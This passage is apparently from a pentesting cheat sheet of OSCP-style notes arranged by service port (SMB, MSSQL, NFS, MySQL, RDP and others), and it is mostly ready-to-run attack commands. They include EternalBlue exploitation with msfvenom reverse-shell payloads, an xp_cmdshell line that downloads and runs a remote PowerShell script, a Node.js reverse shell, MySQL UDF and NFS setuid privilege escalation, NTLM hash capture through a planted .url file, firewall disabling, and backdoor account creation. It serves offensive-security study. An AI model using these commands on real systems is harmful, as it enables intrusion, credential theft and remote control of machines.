&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/worawit/MS17-010/&lt;br /&gt;
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo&lt;br /&gt;
# If windows xp, use send_and_execute.py&lt;br /&gt;
# Generate payload using msfvenom&lt;br /&gt;
python2 send_and_execute.py 10.10.10.10 shell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enumerate samba version ===&lt;br /&gt;
&lt;br /&gt;
[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run the below script while wireshark is listening&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
#Author: rewardone&lt;br /&gt;
#Description:&lt;br /&gt;
# Requires root or enough permissions to use tcpdump&lt;br /&gt;
# Will listen for the first 8 packets of a null login&lt;br /&gt;
# and grab the SMB Version&lt;br /&gt;
#Notes:&lt;br /&gt;
# Will sometimes not capture or will print multiple&lt;br /&gt;
# lines. May need to run a second time for success.&lt;br /&gt;
if [ -z $1 ]; then echo &amp;quot;Usage: ./smbver.sh RHOST {RPORT}&amp;quot; &amp;amp;&amp;amp; exit; else rhost=$1; fi&lt;br /&gt;
if [ ! -z $2 ]; then rport=$2; else rport=139; fi&lt;br /&gt;
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2&amp;gt;/dev/null | grep -i &amp;quot;samba\|s.a.m&amp;quot; | tr -d &#039;.&#039; | grep -oP &#039;UnixSamba.*[0-9a-z]&#039; | tr -d &#039;\n&#039; &amp;amp; echo -n &amp;quot;$rhost: &amp;quot; &amp;amp;&lt;br /&gt;
echo &amp;quot;exit&amp;quot; | smbclient -L $rhost 1&amp;gt;/dev/null 2&amp;gt;/dev/null&lt;br /&gt;
echo &amp;quot;&amp;quot; &amp;amp;&amp;amp; sleep .1&lt;br /&gt;
# Once you&#039;ve run the script, go back to wireshark and follow one of the smb TCP stream&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Enumerate ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
enum4linux -A&lt;br /&gt;
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254&lt;br /&gt;
nbtscan -r 192.168.11.0/24&lt;br /&gt;
nmblookup -A target&lt;br /&gt;
rpcclient -U &amp;quot;&amp;quot; target // connect as blank user /nobody&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient -L //&lt;br /&gt;
smbclient //192.168.31.147/kathy -I 192.168.31.147&lt;br /&gt;
smbmap -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;guest&#039; -p &#039;&#039; -H&lt;br /&gt;
smbmap -u &#039;&#039; -p &#039;&#039; -H  -R&lt;br /&gt;
smbmap -u &amp;quot;&amp;quot; -p &amp;quot;&amp;quot; -d MYGROUP -H 10.11.1.22&lt;br /&gt;
crackmapexec smb&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;guest&#039; -p &#039;&#039;&lt;br /&gt;
crackmapexec smb  -u &#039;&#039; -p &#039;&#039; --shares&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount share ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mount -t auto --source //x.x.x.x&lt;br /&gt;
mount -t cifs //x.x.x.x/share /mnt/share&lt;br /&gt;
mount -t cifs -o &amp;quot;username=user,password=password&amp;quot; //x.x.x.x/share /mnt/share&lt;br /&gt;
smbclient ///&lt;br /&gt;
smbclient /// -U&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
psexec.py /:@&lt;br /&gt;
psexec.py /@ -hashes :&lt;br /&gt;
wmiexec.py /:@&lt;br /&gt;
wmiexec.py /@ -hashes :&lt;br /&gt;
smbexec.py /:@&lt;br /&gt;
smbexec.py /@ -hashes :&lt;br /&gt;
atexec.py /:@&lt;br /&gt;
atexec.py /@ -hashes :&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Eternal Blue ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
MS17-010 - EternalBlue&lt;br /&gt;
MS08-067 - MS08-067&lt;br /&gt;
CVE-2017-7494 - CVE-2017-7494&lt;br /&gt;
# Send_and_Exectue.py&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 &amp;gt; exploit.exe&lt;br /&gt;
python2 send_and_execute.py 10.10.10.40 exploit.exe&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# Command Execution&lt;br /&gt;
https://www.exploit-db.com/exploits/42315&lt;br /&gt;
# Uncomment this line and add your CMD&lt;br /&gt;
service_exec(conn, r&#039;cmd /c copy c:\pwned.txt c:\pwned_exec.txt&#039;)&lt;br /&gt;
-----------------------------------------&lt;br /&gt;
# AutoBlue&lt;br /&gt;
# Generate shellcode from shell_prep.sh&lt;br /&gt;
https://github.com/3ndG4me/AutoBlue-MS17-010&lt;br /&gt;
python eternalblue_exploit*.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Man in the middle ===&lt;br /&gt;
&lt;br /&gt;
==== URI file attack ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for Vault&lt;br /&gt;
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.&lt;br /&gt;
Kali &amp;gt; cat @file.url # Can also save as desktop.ini&lt;br /&gt;
[InternetShortcut]&lt;br /&gt;
URL=anything&lt;br /&gt;
WorkingDirectory=anything&lt;br /&gt;
IconFile=\\192.168.118.14\%USERNAME%.icon&lt;br /&gt;
IconIndex=1&lt;br /&gt;
# Start responder&lt;br /&gt;
sudo responder -I tun0 -v&lt;br /&gt;
# Hashtype&lt;br /&gt;
net-NTLMv2&lt;br /&gt;
# Upload file to SMB and wait for a user to access the file.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 161 - SNMP ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
snmp-check  [-p PORT]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 194,6667,6660-7000 - IRC ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Can use different clients, like irssi&lt;br /&gt;
# See notes from box; UT99&lt;br /&gt;
#Connection with random nickname&lt;br /&gt;
USER ran213eqdw123 0 * ran213eqdw123&lt;br /&gt;
NICK ran213eqdw123&lt;br /&gt;
#If a PING : is responded you need to send&lt;br /&gt;
#PONG :&lt;br /&gt;
VERSION&lt;br /&gt;
HELP&lt;br /&gt;
INFO&lt;br /&gt;
LINKS&lt;br /&gt;
HELPOP USERCMDS&lt;br /&gt;
HELPOP OPERCMDS&lt;br /&gt;
OPERATOR CAPA&lt;br /&gt;
ADMIN      #Admin info&lt;br /&gt;
USERS      #Current number of users&lt;br /&gt;
TIME       #Server&#039;s time&lt;br /&gt;
STATS a    #Only operators should be able to run this&lt;br /&gt;
NAMES      #List channel names and usernames inside of each channel -&amp;gt; Nombre del canal y nombre de las personas que estan dentro&lt;br /&gt;
LIST       #List channel names along with channel banner&lt;br /&gt;
WHOIS       #WHOIS a username&lt;br /&gt;
USERHOST    #If available, get hostname of a user&lt;br /&gt;
USERIP      #If available, get ip of a user&lt;br /&gt;
JOIN    #Connect to a channel&lt;br /&gt;
#Operator creds Brute-Force&lt;br /&gt;
OPER&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 389, 636, 3268, 3269 - LDAP ==&lt;br /&gt;
&lt;br /&gt;
=== Enumerate LDAP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nmap -n -sV --script &amp;quot;ldap* and not brute&amp;quot; -p 389 dc-ip&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump LDAP info ===&lt;br /&gt;
&lt;br /&gt;
Must have valid credentials&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pip3 install ldapdomaindump&lt;br /&gt;
ldapdomaindump  [-r ] -u &#039;\&#039; -p &#039;&#039; [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search queries ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.&lt;br /&gt;
ldapsearch -x -h  -b &amp;quot;dc=XXXX&amp;quot;&lt;br /&gt;
# Example&lt;br /&gt;
ldapsearch -x -H LDAP://192.168.89.122 -b &amp;quot;dc=hutch,dc=offsec&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 873 - rsync ==&lt;br /&gt;
&lt;br /&gt;
=== Commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync&lt;br /&gt;
# List shares&lt;br /&gt;
rsync -av --list-only rsync://192.168.243.126/&lt;br /&gt;
# Upload files&lt;br /&gt;
rsync -av test.txt rsync://192.168.243.126/fox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Upload SSH key ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1 Generate an SSH key&lt;br /&gt;
ssh-keygen -t rsa&lt;br /&gt;
# 2 If you are in a users folder, create a .ssh&lt;br /&gt;
mkdir .ssh&lt;br /&gt;
rsync -av .ssh TARGET_IP/home_dir/&lt;br /&gt;
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file&lt;br /&gt;
touch authorized_keys&lt;br /&gt;
echo -n &#039;CONTENT of id_rsa.pub&#039; &amp;gt;&amp;gt; authorized_keys&lt;br /&gt;
# 4 Transfer the authorized_keys to the target&lt;br /&gt;
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/&lt;br /&gt;
# 5 SSH into the machine. You need to know the owner of home_dir&lt;br /&gt;
ssh -i id_rsa USER@TARGETIP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/&lt;br /&gt;
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1098/1099/1050 - Java RMI ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Running Remote Method Guesser&lt;br /&gt;
# https://github.com/qtc-de/remote-method-guesser#installation&lt;br /&gt;
java -jar rmg-4.3.0-jar-with-dependencies.jar&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1433 - MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft SQL Server 2017 directory locations ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Execute commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands&lt;br /&gt;
# Log in to mssql&lt;br /&gt;
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@&lt;br /&gt;
# Execute commands&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
# this turns on advanced options and is needed to configure xp_cmdshell&lt;br /&gt;
sp_configure &#039;show advanced options&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# this enables xp_cmdshell&lt;br /&gt;
sp_configure &#039;xp_cmdshell&#039;, &#039;1&#039;&lt;br /&gt;
RECONFIGURE&lt;br /&gt;
# Quickly check what the service account is via xp_cmdshell&lt;br /&gt;
EXEC master..xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
# Bypass blackisted &amp;quot;EXEC xp_cmdshell&amp;quot;&lt;br /&gt;
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== xp_cmdshell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands&lt;br /&gt;
# Need credentials&lt;br /&gt;
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G&lt;br /&gt;
    ###the goal is to get xp_cmdshell working###&lt;br /&gt;
    1. try and see if it works&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    2. try to turn component back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell `whoami`&lt;br /&gt;
        go&lt;br /&gt;
    3. &#039;advanced&#039; turn it back on&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;show advanced options&#039;, 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        EXEC SP_CONFIGURE &#039;xp_cmdshell&#039; , 1&lt;br /&gt;
        reconfigure&lt;br /&gt;
        go&lt;br /&gt;
        xp_cmdshell &#039;whoami&#039;&lt;br /&gt;
        go&lt;br /&gt;
    xp_cmdshell &amp;quot;powershell.exe -exec bypass iex(new-object net.webclient).downloadstring(&#039;http://10.10.14.60:8000/ye443.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extracting hashes from .mdf file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation&lt;br /&gt;
# read this if troulbe&lt;br /&gt;
https://github.com/xpn/Powershell-PostExploitation/issues/1&lt;br /&gt;
# Run Powershell on linux&lt;br /&gt;
pwsh&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.RawCore.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Add-Type -Path &#039;OrcaMDF.Framework.dll&#039;&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; import-module .\Get-MDFHashes.ps1&lt;br /&gt;
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes&amp;gt; Get-MDFHashes -mdf &amp;quot;./master.mdf&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1521, 1522-1529 - Oracle TNS Listener ==&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 1978, 1979, 1980 - Remote Mouse ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use nc to check header&lt;br /&gt;
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.&lt;br /&gt;
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.&lt;br /&gt;
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.&lt;br /&gt;
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit&lt;br /&gt;
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 2049 - NFS ==&lt;br /&gt;
&lt;br /&gt;
=== no_root_squash ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS&lt;br /&gt;
&lt;br /&gt;
=== Access NFS through ssh tunnel ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c&lt;br /&gt;
# Output from /etc/exports on target&lt;br /&gt;
/srv/Share 10.1.1.0/24(insecure,rw)&lt;br /&gt;
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)&lt;br /&gt;
# Forward connection - Run the ssh command on attacker&lt;br /&gt;
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049&lt;br /&gt;
mount -t nfs 127.0.0.1:/srv/pelota my_share&lt;br /&gt;
cd my_share&lt;br /&gt;
cat &amp;gt; shell.c&lt;br /&gt;
int main(){&lt;br /&gt;
  setuid(0);&lt;br /&gt;
  setgid(0);&lt;br /&gt;
  system(&amp;quot;/bin/bash&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
EOF&lt;br /&gt;
gcc shell.c -o shell&lt;br /&gt;
chmod u+s shell&lt;br /&gt;
# Reverse connection - Run the ssh command on target&lt;br /&gt;
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.&lt;br /&gt;
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176&lt;br /&gt;
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3000 - NodeJs ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell&lt;br /&gt;
# The Javascript code below is a Node.js reverse shell.&lt;br /&gt;
# Remember to change the IP address and PORT with the nc you are running.&lt;br /&gt;
(function(){&lt;br /&gt;
    var net = require(&amp;quot;net&amp;quot;),&lt;br /&gt;
        cp = require(&amp;quot;child_process&amp;quot;),&lt;br /&gt;
        sh = cp.spawn(&amp;quot;/bin/sh&amp;quot;, []);&lt;br /&gt;
    var client = new net.Socket();&lt;br /&gt;
    client.connect(8080, &amp;quot;192.168.33.1&amp;quot;, function(){&lt;br /&gt;
        client.pipe(sh.stdin);&lt;br /&gt;
        sh.stdout.pipe(client);&lt;br /&gt;
        sh.stderr.pipe(client);&lt;br /&gt;
    });&lt;br /&gt;
    return /a/; // Prevents the Node.js application form crashing&lt;br /&gt;
})();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3306 - MySQL/MariaDB ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf&lt;br /&gt;
# User-defined function (UDF)&lt;br /&gt;
# If you can login as root you can create a malicious functions to run commands.&lt;br /&gt;
https://www.exploit-db.com/exploits/1518&lt;br /&gt;
# You can also compile it on attacker if target dont have gcc. Use --static.&lt;br /&gt;
# Check if secure_file_priv. If empty means disabled&lt;br /&gt;
show variables like &#039;%secure_file_priv%&#039;;&lt;br /&gt;
# Find plugin path. Add the path on step file (dumpfile)&lt;br /&gt;
show variables like &#039;%plugin%&#039;;&lt;br /&gt;
$ gcc -g -c raptor_udf2.c&lt;br /&gt;
 * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc&lt;br /&gt;
# Can also transfer exploit raptor_udf2.so with hex.&lt;br /&gt;
## xxd -p raptor_udf2.so | tr -d &#039;\n&#039; &amp;gt; raptor_udf2.so.hex&lt;br /&gt;
 * $ mysql -u root -p&lt;br /&gt;
 * Enter password:&lt;br /&gt;
 * [...]&lt;br /&gt;
# Set variable for shellcode&lt;br /&gt;
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
 * mysql&amp;gt; use mysql;&lt;br /&gt;
 * mysql&amp;gt; create table foo(line blob);&lt;br /&gt;
 * mysql&amp;gt; insert into foo values(load_file(&#039;/home/raptor/raptor_udf2.so&#039;));&lt;br /&gt;
# Output shellcode to file on target&lt;br /&gt;
## select binary @shell into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from foo into dumpfile &#039;/usr/lib/raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; create function do_system returns integer soname &#039;raptor_udf2.so&#039;;&lt;br /&gt;
 * mysql&amp;gt; select * from mysql.func;&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | name      | ret | dl             | type     |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * | do_system |   2 | raptor_udf2.so | function |&lt;br /&gt;
 * +-----------+-----+----------------+----------+&lt;br /&gt;
 * mysql&amp;gt; select do_system(&#039;id &amp;gt; /tmp/out; chown raptor.raptor /tmp/out&#039;);&lt;br /&gt;
# OR&lt;br /&gt;
select do_system(&#039;cp /bin/bash /tmp/out; chmod +xs /tmp/out&#039;);&lt;br /&gt;
 * mysql&amp;gt; \! sh&lt;br /&gt;
 * sh-2.05b$ cat /tmp/out&lt;br /&gt;
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)&lt;br /&gt;
 * [...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation method 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mysqludf/lib_mysqludf_sys&lt;br /&gt;
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.&lt;br /&gt;
xxd -p lib_mysqludf_sys.so| tr -d &#039;\n&#039; &amp;gt; lib_mysqludf_sys.so.hex&lt;br /&gt;
cat lib_mysqludf_sys.so.hex |  xclip -selection clipboard&lt;br /&gt;
MariaDB [(none)]&amp;gt; select @@plugin_dir&lt;br /&gt;
MariaDB [(none)]&amp;gt;  set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this &#039;/usr/lib/lib_mysqludf_sys.so&lt;br /&gt;
MariaDB [(none)]&amp;gt; create function sys_exec returns int soname &#039;udf_sys_exec.so&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select * from mysql.func where name=&#039;sys_exec&#039;;&lt;br /&gt;
MariaDB [(none)]&amp;gt; select sys_exec(&#039;cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone https://github.com/mysqludf/lib_mysqludf_sys.git&lt;br /&gt;
cd lib_mysqludf_sys&lt;br /&gt;
rm lib_mysqludf_sys.so&lt;br /&gt;
sed -i &#039;s|$(LIBDIR)|.|g&#039; Makefile&lt;br /&gt;
sed -i &#039;s|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g&#039; Makefile&lt;br /&gt;
ex lib_mysqludf_sys.c &amp;lt;&amp;lt;&amp;lt;&amp;quot;57,62m27|wq&amp;quot;&lt;br /&gt;
sudo apt install libmariadbd-dev&lt;br /&gt;
make&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 3389 - RDP ==&lt;br /&gt;
&lt;br /&gt;
=== Add user and enable RDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md&lt;br /&gt;
net user aghanim Password123 /add&lt;br /&gt;
net localgroup Administrators aghanim /add&lt;br /&gt;
net localgroup &amp;quot;Remote Desktop Users&amp;quot; aghanim /ADD&lt;br /&gt;
# Enable RDP&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
Turn firewall off&lt;br /&gt;
netsh firewall set opmode disable&lt;br /&gt;
Or like this&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&amp;quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f&lt;br /&gt;
If you get this error:&lt;br /&gt;
&amp;quot;ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?&lt;br /&gt;
Failed to connect, CredSSP required by server.&amp;quot;&amp;quot;&lt;br /&gt;
Add this reg key:&lt;br /&gt;
reg add &amp;quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&amp;quot; /v UserAuthentication /t REG_DWORD /&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ThinVNC ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.exploit-db.com/exploits/47519&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== 4505, 4506 - zmtp ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
